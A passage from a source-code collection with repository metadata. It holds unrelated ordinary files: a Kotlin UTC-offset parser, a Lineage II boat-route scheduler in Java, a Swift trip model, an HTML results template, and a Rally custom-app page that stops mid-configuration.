return RateFormat(data);
}
public static String[] GetDayNum(int length){
String[] qua=new String[length];
for(int i=0;i<=length-1;i++){
qua[i]=String.valueOf(length-i);
}
String[] data=DaoUtil.getValueByFamily(TABLE_NAME,"1","day",qua);
if(data!=null){
for(int i=0;i<=data.length-1;i++){
if(data[i]!=null)data[i]=String.valueOf(Double.valueOf(data[i])*100);
}
}
return RateFormat(data);
}
public static String[] GetWeekNum(int length){
String[] qua=new String[length];
for(int i=0;i<=length-1;i++){
qua[i]=String.valueOf(length-i);
}
String[] data=DaoUtil.getValueByFamily(TABLE_NAME,"1","week",qua);
if(data!=null){
for(int i=0;i<=data.length-1;i++){
if(data[i]!=null)data[i]=String.valueOf(Double.valueOf(data[i])*100);
}
}
return RateFormat(data);
}
public static String[] GetMonthNum(int length){
String[] qua=new String[length];
for(int i=0;i<=length-1;i++){
qua[i]=String.valueOf(length-i);
}
String[] data=DaoUtil.getValueByFamily(TABLE_NAME,"1","month",qua);
if(data!=null){
for(int i=0;i<=data.length-1;i++){
if(data[i]!=null)data[i]=String.valueOf(Double.valueOf(data[i])*100);
}
}
return RateFormat(data);
}
}
| 28.115702 | 97 | 0.649618 |
19873dc99063690ea43f524313dbed8c4fa91234 | 7,061 | kt | Kotlin | core/native/src/UtcOffset.kt | AdamMc331/kotlinx-datetime | 5a920eaee7d640f4f5f7c956eb6706f7b333de81 | [
"Apache-2.0"
] | 1,291 | 2020-08-13T15:18:17.000Z | 2022-03-31T16:39:43.000Z | core/native/src/UtcOffset.kt | swankjesse/kotlinx-datetime | 44b8ee3caad84919f539fd1a44e124965e975877 | [
"Apache-2.0"
] | 132 | 2020-08-14T04:40:48.000Z | 2022-03-31T07:49:22.000Z | core/native/src/UtcOffset.kt | swankjesse/kotlinx-datetime | 44b8ee3caad84919f539fd1a44e124965e975877 | [
"Apache-2.0"
] | 67 | 2020-08-14T18:09:17.000Z | 2022-03-10T11:30:56.000Z | /*
* Copyright 2019-2021 JetBrains s.r.o.
* Use of this source code is governed by the Apache 2.0 License that can be found in the LICENSE.txt file.
*/
package kotlinx.datetime
import kotlinx.datetime.serializers.UtcOffsetSerializer
import kotlinx.serialization.Serializable
import kotlin.math.abs
import kotlin.native.concurrent.ThreadLocal
@Serializable(with = UtcOffsetSerializer::class)
public actual class UtcOffset private constructor(public actual val totalSeconds: Int) {
private val id: String = zoneIdByOffset(totalSeconds)
override fun hashCode(): Int = totalSeconds
override fun equals(other: Any?): Boolean = other is UtcOffset && this.totalSeconds == other.totalSeconds
override fun toString(): String = id
public actual companion object {
public actual val ZERO: UtcOffset = UtcOffset(totalSeconds = 0)
public actual fun parse(offsetString: String): UtcOffset {
if (offsetString == "Z") {
return ZERO
}
// parse - +h, +hh, +hhmm, +hh:mm, +hhmmss, +hh:mm:ss
val hours: Int
val minutes: Int
val seconds: Int
when (offsetString.length) {
2 -> return parse(offsetString[0].toString() + "0" + offsetString[1])
3 -> {
hours = parseNumber(offsetString, 1, false)
minutes = 0
seconds = 0
}
5 -> {
hours = parseNumber(offsetString, 1, false)
minutes = parseNumber(offsetString, 3, false)
seconds = 0
}
6 -> {
hours = parseNumber(offsetString, 1, false)
minutes = parseNumber(offsetString, 4, true)
seconds = 0
}
7 -> {
hours = parseNumber(offsetString, 1, false)
minutes = parseNumber(offsetString, 3, false)
seconds = parseNumber(offsetString, 5, false)
}
9 -> {
hours = parseNumber(offsetString, 1, false)
minutes = parseNumber(offsetString, 4, true)
seconds = parseNumber(offsetString, 7, true)
}
else -> throw DateTimeFormatException("Invalid ID for UtcOffset, invalid format: $offsetString")
}
val first: Char = offsetString[0]
if (first != '+' && first != '-') {
throw DateTimeFormatException(
"Invalid ID for UtcOffset, plus/minus not found when expected: $offsetString")
}
try {
return if (first == '-') {
ofHoursMinutesSeconds(-hours, -minutes, -seconds)
} else {
ofHoursMinutesSeconds(hours, minutes, seconds)
}
} catch (e: IllegalArgumentException) {
throw DateTimeFormatException(e)
}
}
private fun validateTotal(totalSeconds: Int) {
if (totalSeconds !in -18 * SECONDS_PER_HOUR .. 18 * SECONDS_PER_HOUR) {
throw IllegalArgumentException("Total seconds value is out of range: $totalSeconds")
}
}
// org.threeten.bp.ZoneOffset#validate
private fun validate(hours: Int, minutes: Int, seconds: Int) {
if (hours < -18 || hours > 18) {
throw IllegalArgumentException("Zone offset hours not in valid range: value " + hours +
" is not in the range -18 to 18")
}
if (hours > 0) {
if (minutes < 0 || seconds < 0) {
throw IllegalArgumentException("Zone offset minutes and seconds must be positive because hours is positive")
}
} else if (hours < 0) {
if (minutes > 0 || seconds > 0) {
throw IllegalArgumentException("Zone offset minutes and seconds must be negative because hours is negative")
}
} else if (minutes > 0 && seconds < 0 || minutes < 0 && seconds > 0) {
throw IllegalArgumentException("Zone offset minutes and seconds must have the same sign")
}
if (abs(minutes) > 59) {
throw IllegalArgumentException("Zone offset minutes not in valid range: abs(value) " +
abs(minutes) + " is not in the range 0 to 59")
}
if (abs(seconds) > 59) {
throw IllegalArgumentException("Zone offset seconds not in valid range: abs(value) " +
abs(seconds) + " is not in the range 0 to 59")
}
if (abs(hours) == 18 && (abs(minutes) > 0 || abs(seconds) > 0)) {
throw IllegalArgumentException("Utc offset not in valid range: -18:00 to +18:00")
}
}
// org.threeten.bp.ZoneOffset#ofHoursMinutesSeconds
internal fun ofHoursMinutesSeconds(hours: Int, minutes: Int, seconds: Int): UtcOffset {
validate(hours, minutes, seconds)
return if (hours == 0 && minutes == 0 && seconds == 0) ZERO
else ofSeconds(hours * SECONDS_PER_HOUR + minutes * SECONDS_PER_MINUTE + seconds)
}
// org.threeten.bp.ZoneOffset#ofTotalSeconds
internal fun ofSeconds(seconds: Int): UtcOffset {
validateTotal(seconds)
return if (seconds % (15 * SECONDS_PER_MINUTE) == 0) {
utcOffsetCache[seconds] ?: UtcOffset(totalSeconds = seconds).also { utcOffsetCache[seconds] = it }
} else {
UtcOffset(totalSeconds = seconds)
}
}
// org.threeten.bp.ZoneOffset#parseNumber
private fun parseNumber(offsetId: CharSequence, pos: Int, precededByColon: Boolean): Int {
if (precededByColon && offsetId[pos - 1] != ':') {
throw DateTimeFormatException("Invalid ID for UtcOffset, colon not found when expected: $offsetId")
}
val ch1 = offsetId[pos]
val ch2 = offsetId[pos + 1]
if (ch1 < '0' || ch1 > '9' || ch2 < '0' || ch2 > '9') {
throw DateTimeFormatException("Invalid ID for UtcOffset, non numeric characters found: $offsetId")
}
return (ch1 - '0') * 10 + (ch2 - '0')
}
}
}
@ThreadLocal
private var utcOffsetCache: MutableMap<Int, UtcOffset> = mutableMapOf()
@Suppress("ACTUAL_FUNCTION_WITH_DEFAULT_ARGUMENTS")
public actual fun UtcOffset(hours: Int? = null, minutes: Int? = null, seconds: Int? = null): UtcOffset =
when {
hours != null ->
UtcOffset.ofHoursMinutesSeconds(hours, minutes ?: 0, seconds ?: 0)
minutes != null ->
UtcOffset.ofHoursMinutesSeconds(minutes / MINUTES_PER_HOUR, minutes % MINUTES_PER_HOUR, seconds ?: 0)
else -> {
UtcOffset.ofSeconds(seconds ?: 0)
}
}
| 43.58642 | 128 | 0.551055 |
057f598f827f199e8468c10c0a0e96dcf34f1245 | 53 | sql | SQL | tests/templates/147-float-is-null.sql | taiste/sqlite-parquet-vtable | e3a28375992e897720d0697b3aa873eeaffc1823 | [
"Apache-2.0"
] | 189 | 2018-03-25T15:37:59.000Z | 2022-02-03T13:55:59.000Z | tests/templates/147-float-is-null.sql | taiste/sqlite-parquet-vtable | e3a28375992e897720d0697b3aa873eeaffc1823 | [
"Apache-2.0"
] | 45 | 2018-03-10T16:35:43.000Z | 2021-04-30T20:06:13.000Z | tests/templates/147-float-is-null.sql | taiste/sqlite-parquet-vtable | e3a28375992e897720d0697b3aa873eeaffc1823 | [
"Apache-2.0"
] | 29 | 2018-06-25T17:21:10.000Z | 2022-02-21T12:27:23.000Z | select count(*) from nulls where float_11 is null
49
| 17.666667 | 49 | 0.773585 |
9d19364eebd67544a06bc88e6314ad7fe09bf431 | 1,481 | html | HTML | app/templates/competition_detail.html | skizser/stud_projects | 96a299513417d7dae5bbae0758485e541fa31f14 | [
"MIT"
] | null | null | null | app/templates/competition_detail.html | skizser/stud_projects | 96a299513417d7dae5bbae0758485e541fa31f14 | [
"MIT"
] | null | null | null | app/templates/competition_detail.html | skizser/stud_projects | 96a299513417d7dae5bbae0758485e541fa31f14 | [
"MIT"
] | null | null | null | {% extends 'base.html' %}
{% block title %}
{{ competition.name }}
{% endblock %}
{% block body %}
<main>
<div class="jumbotron jumbotron3">
<div class="container p-3 p-md-5 m-md-3">
<h1 class="display-4 color-white">Информация о <br> соревновании: <b>{{ competition.name }}</b></h1>
<p>
<a href="/competition" class="btn btn-warning my-2">Посмотреть все соревнования >></a>
</p>
</div>
</div>
<section class="py-5 text-center container">
<div class="row py-lg-5">
<div class="col-lg-6 col-md-8 mx-auto">
<h1 class="fw-light">Информация о соревновании:<br> <b>{{ competition.name }}</b></h1><br>
<p>Место проведения: {{competition.place}}</p><br>
<p>Дата проведения: {{competition.placetime}}</p><br>
<hr>
</div>
<table class="table table-striped">
<thead>
<tr>
<th scope="col">Занятое место</th>
<th scope="col">Жокей</th>
<th scope="col">Лошадь</th>
</tr>
</thead>
{% for el in id_global %}
<tbody>
<tr>
<th scope="row">{{ el.winner_place }}</th>
<td>{{ jockey[el.id_jockey-1].name }}</td>
<td>{{ horse[el.id_horse-1].name }}</td>
</tr>
</tbody>
{% endfor %}
</table>
</div>
</section>
</main>
{% endblock %} | 30.854167 | 112 | 0.478055 |
266aa822f1e1da56bc73421a161657cf9983af5e | 6,749 | java | Java | aCis_gameserver/java/net/sf/l2j/gameserver/model/vehicles/BoatInnadrilTour.java | naustagic/L2JNetwork_Interlude | 62cf8dabb032f1d4529e3877f2f724ebc5060ad7 | [
"MIT"
] | null | null | null | aCis_gameserver/java/net/sf/l2j/gameserver/model/vehicles/BoatInnadrilTour.java | naustagic/L2JNetwork_Interlude | 62cf8dabb032f1d4529e3877f2f724ebc5060ad7 | [
"MIT"
] | null | null | null | aCis_gameserver/java/net/sf/l2j/gameserver/model/vehicles/BoatInnadrilTour.java | naustagic/L2JNetwork_Interlude | 62cf8dabb032f1d4529e3877f2f724ebc5060ad7 | [
"MIT"
] | null | null | null | package net.sf.l2j.gameserver.model.vehicles;
import java.util.logging.Level;
import java.util.logging.Logger;
import net.sf.l2j.commons.concurrent.ThreadPool;
import net.sf.l2j.gameserver.instancemanager.BoatManager;
import net.sf.l2j.gameserver.model.actor.Vehicle;
import net.sf.l2j.gameserver.model.location.Location;
import net.sf.l2j.gameserver.model.location.VehicleLocation;
import net.sf.l2j.gameserver.network.SystemMessageId;
import net.sf.l2j.gameserver.network.clientpackets.Say2;
import net.sf.l2j.gameserver.network.serverpackets.CreatureSay;
import net.sf.l2j.gameserver.network.serverpackets.PlaySound;
public class BoatInnadrilTour implements Runnable
{
private static final Logger _log = Logger.getLogger(BoatInnadrilTour.class.getName());
private static final Location OUST_LOC = new Location(107092, 219098, -3952);
// Time: 1867s
private static final VehicleLocation[] TOUR =
{
new VehicleLocation(105129, 226240, -3610, 150, 800),
new VehicleLocation(90604, 238797, -3610, 150, 800),
new VehicleLocation(74853, 237943, -3610, 150, 800),
new VehicleLocation(68207, 235399, -3610, 150, 800),
new VehicleLocation(63226, 230487, -3610, 150, 800),
new VehicleLocation(61843, 224797, -3610, 150, 800),
new VehicleLocation(61822, 203066, -3610, 150, 800),
new VehicleLocation(59051, 197685, -3610, 150, 800),
new VehicleLocation(54048, 195298, -3610, 150, 800),
new VehicleLocation(41609, 195687, -3610, 150, 800),
new VehicleLocation(35821, 200284, -3610, 150, 800),
new VehicleLocation(35567, 205265, -3610, 150, 800),
new VehicleLocation(35617, 222471, -3610, 150, 800),
new VehicleLocation(37932, 226588, -3610, 150, 800),
new VehicleLocation(42932, 229394, -3610, 150, 800),
new VehicleLocation(74324, 245231, -3610, 150, 800),
new VehicleLocation(81872, 250314, -3610, 150, 800),
new VehicleLocation(101692, 249882, -3610, 150, 800),
new VehicleLocation(107907, 256073, -3610, 150, 800),
new VehicleLocation(112317, 257133, -3610, 150, 800),
new VehicleLocation(126273, 255313, -3610, 150, 800),
new VehicleLocation(128067, 250961, -3610, 150, 800),
new VehicleLocation(128520, 238249, -3610, 150, 800),
new VehicleLocation(126428, 235072, -3610, 150, 800),
new VehicleLocation(121843, 234656, -3610, 150, 800),
new VehicleLocation(120096, 234268, -3610, 150, 800),
new VehicleLocation(118572, 233046, -3610, 150, 800),
new VehicleLocation(117671, 228951, -3610, 150, 800),
new VehicleLocation(115936, 226540, -3610, 150, 800),
new VehicleLocation(113628, 226240, -3610, 150, 800),
new VehicleLocation(111300, 226240, -3610, 150, 800),
new VehicleLocation(111264, 226240, -3610, 150, 800)
};
private static final VehicleLocation DOCK = TOUR[TOUR.length - 1];
private final Vehicle _boat;
private int _cycle = 0;
private final CreatureSay ARRIVED_AT_INNADRIL;
private final CreatureSay LEAVE_INNADRIL5;
private final CreatureSay LEAVE_INNADRIL1;
private final CreatureSay LEAVE_INNADRIL0;
private final CreatureSay LEAVING_INNADRIL;
private final CreatureSay ARRIVAL20;
private final CreatureSay ARRIVAL15;
private final CreatureSay ARRIVAL10;
private final CreatureSay ARRIVAL5;
private final CreatureSay ARRIVAL1;
private final PlaySound INNADRIL_SOUND;
private final PlaySound INNADRIL_SOUND_LEAVE_5MIN;
private final PlaySound INNADRIL_SOUND_LEAVE_1MIN;
public BoatInnadrilTour(Vehicle boat)
{
_boat = boat;
ARRIVED_AT_INNADRIL = new CreatureSay(0, Say2.BOAT, 801, SystemMessageId.INNADRIL_BOAT_ANCHOR_10_MINUTES);
LEAVE_INNADRIL5 = new CreatureSay(0, Say2.BOAT, 801, SystemMessageId.INNADRIL_BOAT_LEAVE_IN_5_MINUTES);
LEAVE_INNADRIL1 = new CreatureSay(0, Say2.BOAT, 801, SystemMessageId.INNADRIL_BOAT_LEAVE_IN_1_MINUTE);
LEAVE_INNADRIL0 = new CreatureSay(0, Say2.BOAT, 801, SystemMessageId.INNADRIL_BOAT_LEAVE_SOON);
LEAVING_INNADRIL = new CreatureSay(0, Say2.BOAT, 801, SystemMessageId.INNADRIL_BOAT_LEAVING);
ARRIVAL20 = new CreatureSay(0, Say2.BOAT, 801, SystemMessageId.INNADRIL_BOAT_ARRIVE_20_MINUTES);
ARRIVAL15 = new CreatureSay(0, Say2.BOAT, 801, SystemMessageId.INNADRIL_BOAT_ARRIVE_15_MINUTES);
ARRIVAL10 = new CreatureSay(0, Say2.BOAT, 801, SystemMessageId.INNADRIL_BOAT_ARRIVE_10_MINUTES);
ARRIVAL5 = new CreatureSay(0, Say2.BOAT, 801, SystemMessageId.INNADRIL_BOAT_ARRIVE_5_MINUTES);
ARRIVAL1 = new CreatureSay(0, Say2.BOAT, 801, SystemMessageId.INNADRIL_BOAT_ARRIVE_1_MINUTE);
INNADRIL_SOUND = new PlaySound(0, "itemsound.ship_arrival_departure", _boat);
INNADRIL_SOUND_LEAVE_5MIN = new PlaySound(0, "itemsound.ship_5min", _boat);
INNADRIL_SOUND_LEAVE_1MIN = new PlaySound(0, "itemsound.ship_1min", _boat);
}
@Override
public void run()
{
try
{
switch (_cycle)
{
case 0:
BoatManager.getInstance().broadcastPacket(DOCK, DOCK, LEAVE_INNADRIL5);
_boat.broadcastPacket(INNADRIL_SOUND_LEAVE_5MIN);
ThreadPool.schedule(this, 240000);
break;
case 1:
BoatManager.getInstance().broadcastPacket(DOCK, DOCK, LEAVE_INNADRIL1);
_boat.broadcastPacket(INNADRIL_SOUND_LEAVE_1MIN);
ThreadPool.schedule(this, 40000);
break;
case 2:
BoatManager.getInstance().broadcastPacket(DOCK, DOCK, LEAVE_INNADRIL0);
_boat.broadcastPacket(INNADRIL_SOUND_LEAVE_1MIN);
ThreadPool.schedule(this, 20000);
break;
case 3:
BoatManager.getInstance().broadcastPackets(DOCK, DOCK, LEAVING_INNADRIL, INNADRIL_SOUND);
_boat.payForRide(0, 1, OUST_LOC);
_boat.executePath(TOUR);
ThreadPool.schedule(this, 650000);
break;
case 4:
BoatManager.getInstance().broadcastPacket(DOCK, DOCK, ARRIVAL20);
ThreadPool.schedule(this, 300000);
break;
case 5:
BoatManager.getInstance().broadcastPacket(DOCK, DOCK, ARRIVAL15);
ThreadPool.schedule(this, 300000);
break;
case 6:
BoatManager.getInstance().broadcastPacket(DOCK, DOCK, ARRIVAL10);
ThreadPool.schedule(this, 300000);
break;
case 7:
BoatManager.getInstance().broadcastPacket(DOCK, DOCK, ARRIVAL5);
ThreadPool.schedule(this, 240000);
break;
case 8:
BoatManager.getInstance().broadcastPacket(DOCK, DOCK, ARRIVAL1);
break;
case 9:
BoatManager.getInstance().broadcastPackets(DOCK, DOCK, ARRIVED_AT_INNADRIL, INNADRIL_SOUND);
ThreadPool.schedule(this, 300000);
break;
}
_cycle++;
if (_cycle > 9)
_cycle = 0;
}
catch (Exception e)
{
_log.log(Level.WARNING, e.getMessage());
}
}
public static void load()
{
final Vehicle boat = BoatManager.getInstance().getNewBoat(4, 111264, 226240, -3610, 32768);
if (boat != null)
{
boat.registerEngine(new BoatInnadrilTour(boat));
boat.runEngine(180000);
}
}
} | 38.565714 | 108 | 0.745147 |
d7e8dc2bbaf758556b9e17aa3ca13fe4728dd367 | 3,242 | swift | Swift | MojioSDK/Models/Trip.swift | stepanrazin/mojio-ios-sdk | d127ff083c45d420ee25f29a4c1355ead64f70d2 | [
"MIT"
] | null | null | null | MojioSDK/Models/Trip.swift | stepanrazin/mojio-ios-sdk | d127ff083c45d420ee25f29a4c1355ead64f70d2 | [
"MIT"
] | null | null | null | MojioSDK/Models/Trip.swift | stepanrazin/mojio-ios-sdk | d127ff083c45d420ee25f29a4c1355ead64f70d2 | [
"MIT"
] | 3 | 2018-07-05T21:37:42.000Z | 2018-09-20T19:37:46.000Z | //
// Trip.swift
// MojioSDK
//
// Created by Ashish Agarwal on 2016-02-10.
// Copyright © 2016 Mojio. All rights reserved.
//
import UIKit
import Foundation
import ObjectMapper
public class Trip: Mappable {
public dynamic var VehicleId : String? = nil
public dynamic var Name : String? = nil
public var Tags : [String] = []
public dynamic var MojioId : String? = nil
public dynamic var Completed : Bool = false
public dynamic var TripDuration : String? = nil
public var TripDistance : Distance? = nil
public dynamic var StartTimestamp : String? = nil
public dynamic var EndTimestamp : String? = nil
public var StartOdometer : Odometer? = nil
public var EndOdometer : Odometer? = nil
public var StartLocation : Location? = nil
public var EndLocation : Location? = nil
public var MaxSpeed : Speed? = nil
public var MaxRPM : RPM? = nil
public var MaxAcceleration : Acceleration? = nil
public var MaxDeceleration : Acceleration? = nil
public var TripFuelEfficiency : FuelEfficiency? = nil
public var StartFuelLevel : FuelLevel? = nil
public var EndFuelLevel : FuelLevel? = nil
public var IdlingCount : Int? = nil
public var HarshAccelCount : Int? = nil
public var HarshDecelCount : Int? = nil
public dynamic var Id : String? = nil
public dynamic var CreatedOn : String? = nil
public dynamic var LastModified : String? = nil
public required convenience init?(_ map: Map) {
self.init()
}
public required init() {
}
public static func primaryKey() -> String? {
return "Id"
}
public func json() -> String? {
let dictionary : NSMutableDictionary = NSMutableDictionary()
if self.Name != nil {
dictionary.setObject(self.Name!, forKey: "Name")
}
let data = try! NSJSONSerialization.dataWithJSONObject(dictionary, options: NSJSONWritingOptions.PrettyPrinted)
return NSString(data: data, encoding: NSUTF8StringEncoding)! as String
}
public func mapping(map: Map) {
VehicleId <- map["VehicleId"];
Name <- map["Name"];
MojioId <- map["MojioId"];
Completed <- map["Completed"];
TripDuration <- map["Duration"];
TripDistance <- map["Distance"]
StartTimestamp <- map["StartTimestamp"];
EndTimestamp <- map["EndTimestamp"];
StartOdometer <- map["StartOdometer"];
EndOdometer <- map["EndOdometer"];
StartLocation <- map["StartLocation"];
EndLocation <- map["EndLocation"];
MaxSpeed <- map["MaxSpeed"];
MaxRPM <- map["MaxRPM"];
MaxAcceleration <- map["MaxAcceleration"];
MaxDeceleration <- map["MaxDeceleration"];
TripFuelEfficiency <- map["FuelEfficiency"];
StartFuelLevel <- map["StartFuelLevel"];
EndFuelLevel <- map["EndFuelLevel"];
IdlingCount <- map["IdlingCount"];
HarshAccelCount <- map["HarshAcclCount"];
HarshDecelCount <- map["HarshDecelCount"];
Id <- map["Id"];
CreatedOn <- map["CreatedOn"];
LastModified <- map["LastModified"];
Tags <- map["Tags"]
}
}
| 34.126316 | 120 | 0.624614 |
7d57093e3e06907628a95d4ed9ec966f807b3711 | 24,784 | html | HTML | deploy/App-uncompressed.html | cookra/CA-Agile-Central---User-Stories-Missing-Feature | 054e423d4515f65010ffd4f6699a7208db577fb7 | [
"MIT"
] | null | null | null | deploy/App-uncompressed.html | cookra/CA-Agile-Central---User-Stories-Missing-Feature | 054e423d4515f65010ffd4f6699a7208db577fb7 | [
"MIT"
] | null | null | null | deploy/App-uncompressed.html | cookra/CA-Agile-Central---User-Stories-Missing-Feature | 054e423d4515f65010ffd4f6699a7208db577fb7 | [
"MIT"
] | null | null | null | <!DOCTYPE html>
<html>
<head>
<title>Agile Central Viewport Template</title>
<script type="text/javascript" src="/apps/2.1/sdk.js"></script>
<script type="text/javascript">
Rally.onReady(function () {
// R Cook
// v1.0.1
// 2017-03-02
// Template script to load a viewport with 5 panels
Ext.define('CustomApp', {
extend: 'Rally.app.App',
componentCls: 'app',
myFetch: [],
myCols: [],
// Filter theFetch
// 0 -> Hide columns
// 1 -> Add Column
// 1/0 -> Both will be fetched from the query
dataList: [
[1, 'FormattedID'],
[1, 'Name'],
[1, 'Project'],
[1, 'Owner'],
[1, 'CreatedDate'],
[1, 'DisplayColor'],
[1, 'ScheduleState'],
[1, 'Blocked'],
[1, 'DirectChildrenCount'],
[1, 'Defects'],
[1, 'Iteration'],
[1, 'PlanEstimate'],
[1, 'Predecessors'],
[1, 'Successors'],
[1, 'Release'],
[1, 'TestCases'],
],
launch: function () {
this._mask();
console.log('\033[2J'); // clear the console
var me = this;
for (var j = 0; j < this.dataList.length; j++) {
if (this.dataList[j][0] === 1) {
this.myFetch.push(this.dataList[j][1]);
this.myCols.push(this.dataList[j][1]);
console.log('@ _launch Filter Fetch (+) ', this.dataList[j][1]);
}
if (this.dataList[j][0] === 0) {
this.myFetch.push(this.dataList[j][1]);
console.log('@ _launch Filter Fetch (-) ', this.dataList[j][1]);
}
}
this._loadData();
},
_getFilters: function () {
var myFilter = Ext.create('Rally.data.wsapi.Filter', {
property: 'Feature',
operation: '=',
value: null
});
return myFilter;
},
_loadData: function () {
var me = this;
var myFilters = this._getFilters();
console.log('my filter', myFilters.toString());
if (me.userStoryStore) {
console.log('store exists');
me.userStoryStore.setFilter(myFilters);
me.userStoryStore.load();
} else {
console.log('creating store');
me.userStoryStore = Ext.create('Rally.data.wsapi.Store', { // create
model: 'User Story',
limit: 200,
autoLoad: true,
filters: myFilters,
listeners: {
load: function (myStore, myData, success) {
console.log('got data!', myStore, myData);
if (!me.userStoryGrid) {
me._createGrid(myStore, myData);
}
},
scope: me
},
fetch: this.myFetch
});
}
},
_mask: function () {
//this.add(Ext.create('App.Loader')._build('bar'));
},
_createGrid: function (myStore, myData) {
var xData1 = this.getContext().getUser();
var xData2 = this.getContext().getProject();
var xData3 = this.getContext().getWorkspace();
var appVersion = Ext.create('App.System')._this_Application_Details('inapp');
var myColours_Barclays = Ext.create('App.Config').PbarclaysColours_5
var bodyStyle = 'font-size:20px;padding:10px; color:' + myColours_Barclays[3] + ';';
var tabColour_1 = myColours_Barclays[0];
var tabColour_2 = myColours_Barclays[0];
var tabColour_3 = myColours_Barclays[0];
var panelBaseColor = myColours_Barclays[0];
var colour_Background_Darken = Ext.create('App.Tools')._shadeBlendConvert(panelBaseColor, -20);
var colour_Background = 'background: repeating-linear-gradient( -45deg, ' + panelBaseColor + ',' + panelBaseColor + ' 10px, ' + colour_Background_Darken + ' 10px, ' + colour_Background_Darken + ' 20px);';
//PbarclaysColours_5: ['#145FAC', '#437EA0', '#00AEEF', '#FFF', '#FFA000'],
var viewport = Ext.create('Ext.container.Viewport', {
items: [{
region: 'north',
collapsible: true,
items: [{
xtype: 'tabpanel',
width: '100%',
items: [{
title: 'About',
width: '100%',
html: 'This custom page display artifacts that are considered to be orphaned',
height: 50,
bodyStyle: colour_Background + bodyStyle,
cls: 'fixTabMargins',
tabConfig: {
style: {
background: tabColour_1,
}
},
/*
buttons: [{
text: 'Button 1'
}]
*/
}, {
title: 'Version',
width: '100%',
html: appVersion[2] + ' ' + appVersion[4] + ' ' + appVersion[3] + ' ' + appVersion[6],
height: 50,
bodyStyle: colour_Background + bodyStyle,
cls: 'fixTabMargins',
tabConfig: {
style: {
background: tabColour_2,
}
},
}, {
title: 'Support',
width: '100%',
height: 50,
bodyStyle: colour_Background + bodyStyle,
cls: 'fixTabMargins',
tabConfig: {
style: {
background: tabColour_3,
}
},
items: [{
xtype: 'button',
text: 'Support',
height: 25,
style: {
backgroundColor: 'red',
},
listeners: {
afterrender: function (v) {
v.el.on('click', function () {
console.log('[ ' + myStore + ' ] Clicked ');
Ext.create('App.Emailer')._emailer(myData, xData1, xData2, xData3);
});
},
scope: this
},
}]
}]
}]
}, {
region: 'south',
layout: 'fit',
flex: 1,
items: [{
xtype: 'tabpanel',
width: '100%',
items: [{
title: 'User Stories',
width: '100%',
cls: 'fixTabMargins',
tabConfig: {
style: {
background: '#808080',
}
},
items: [{
xtype: 'rallygrid',
store: myStore,
height: '100%',
columnCfgs: this.myCols,
}]
}, {
title: 'Features',
width: '100%',
html: 'X',
bodyStyle: colour_Background + bodyStyle,
cls: 'fixTabMargins',
tabConfig: {
style: {
background: '#808080',
}
},
}, {
title: 'Features',
width: '100%',
html: 'X',
bodyStyle: colour_Background + bodyStyle,
cls: 'fixTabMargins',
tabConfig: {
style: {
background: '#808080',
}
},
}, {
title: 'Business outcomes',
width: '100%',
html: 'X',
bodyStyle: colour_Background + bodyStyle,
cls: 'fixTabMargins',
tabConfig: {
style: {
background: '#808080',
}
},
}, {
title: 'Portfolio Objectives',
width: '100%',
html: 'X',
bodyStyle: colour_Background + bodyStyle,
cls: 'fixTabMargins',
tabConfig: {
style: {
background: '#808080',
}
},
}, {
title: 'Strategic Objectives',
width: '100%',
html: 'X',
bodyStyle: colour_Background + bodyStyle,
cls: 'fixTabMargins',
tabConfig: {
style: {
background: '#808080',
}
},
}],
}]
}]
});
},
});
Ext.define('App.Layout', {
_create: function (o) {
if (o.type === 'btn') {
console.log(o);
var object = Ext.create('Ext.button.Button', {
text: o.text,
margin: o.margin,
cls: o.cls,
style: {
backgroundColor: o.color,
},
listeners: {
afterrender: function (v) {
v.el.on('click', function () {
console.log('[' + o.type + '] Clicked');
Ext.create('App.Emailer')._emailer(MySharedData.supportArray, a_context_User, a_context_Project, a_context_Workspace);
});
},
scope: this
},
});
return object;
} else if (o.type === 'con') {
console.log('CONTAINER ',o);
var object = Ext.create('Ext.container.Container', {
layout: o.layout,
align: o.align,
height: o.height,
width: o.height,
border: o.border,
id: o.id,
itemId: o.itemId,
margin: o.margin,
padding: o.padding,
html: o.html,
cls: o.cls,
style: {
background: o.bg_color,
},
layoutConfig: {
align: o.align,
},
});
return object;
} else if (o.type === 'pan') {
console.log(o);
var object = Ext.create('Ext.panel.Panel', {
layout: o.layout,
align: o.align,
height: o.height,
width: o.width,
border: o.border,
id: o.id,
itemId: o.itemId,
margin: o.margin,
padding: o.padding,
html: o.html,
bodyPadding: o.bodyPadding,
cls: o.cls,
flex: o.flex,
style: {
background: o.color,
},
});
return object;
} else if (o.type === 'udd') {
console.log(o);
var object = Ext.create('Rally.ui.combobox.UserSearchComboBox', {
storeConfig: {
model: o.model
},
fieldLabel: o.fieldLabel,
project: o.project,
itemId: o.itemId,
id: o.id,
margin: o.margin,
noEntryText: '-- All --',
defaultSelectionPosition: 'first',
listeners: {
select: function () {
console.log('clicked');
this._mask('myInfoPanel');
this._kickoff('User');
},
scope: this
}
});
return object;
} else if (o.type === 'idd') {
console.log(o);
var object = Ext.create('Rally.ui.combobox.PortfolioItemTypeComboBox', {
itemId: o.itemId,
fieldLabel: o.fieldLabel,
labelAlign: o.labelAlign,
id: o.id,
margin: o.margin,
listeners: {
select: function () {
console.log('clicked');
this._mask('myInfoPanel');
this._kickoff('User');
},
scope: this
}
});
return object;
} else if (o.type === 'ser') {
console.log(o);
var object = Ext.create('Rally.ui.combobox.SearchComboBox', {
storeConfig: {
model: o.model
},
itemId: o.itemId,
fieldLabel: o.fieldLabel,
labelAlign: o.labelAlign,
id: o.id,
margin: o.margin,
width: o.width,
listeners: {
specialkey: function (field, e) {
if (e.getKey() === e.ENTER) {
console.log('enter');
this._mask('myInfoPanel');
this._kickoff('Search');
}
},
select: function () {
console.log('select');
this._mask('myInfoPanel');
this._kickoff('Search');
},
scope: this
}
});
return object;
}else if (o.type === 'box') {
console.log(o);
var object = Ext.create('Ext.Component', {
height: o.height,
width: o.width,
id: o.id,
margin: o.margin,
autoEl: {
tag: 'div',
cls: 'myInfoPanel',
html: "",
},
flex:1,
});
return object;
}
}
});
Ext.define('App.Config', {
config: {
// Versioning
Pversion: 'v4.2b',
PappID: 'AC Orphaned Objects',
Powner: 'Richard Cook',
PreleaseDate: '2017-03-13: 23:54 GMT',
Pdescription: 'AC Orphaned Objects',
// Git Repo Details
PrepoAddress: 'not shared',
// Emailer Contact Details
pEmailSupportMessage: '*** [AC AC Orphaned Objects] Custom Application AC Support Request',
pEmailSupportAddress: 'richard.cook@barclaycard.co.uk',
pEmailerMessage: '========== Please add your comments above this line ==========',
// Rally Colours
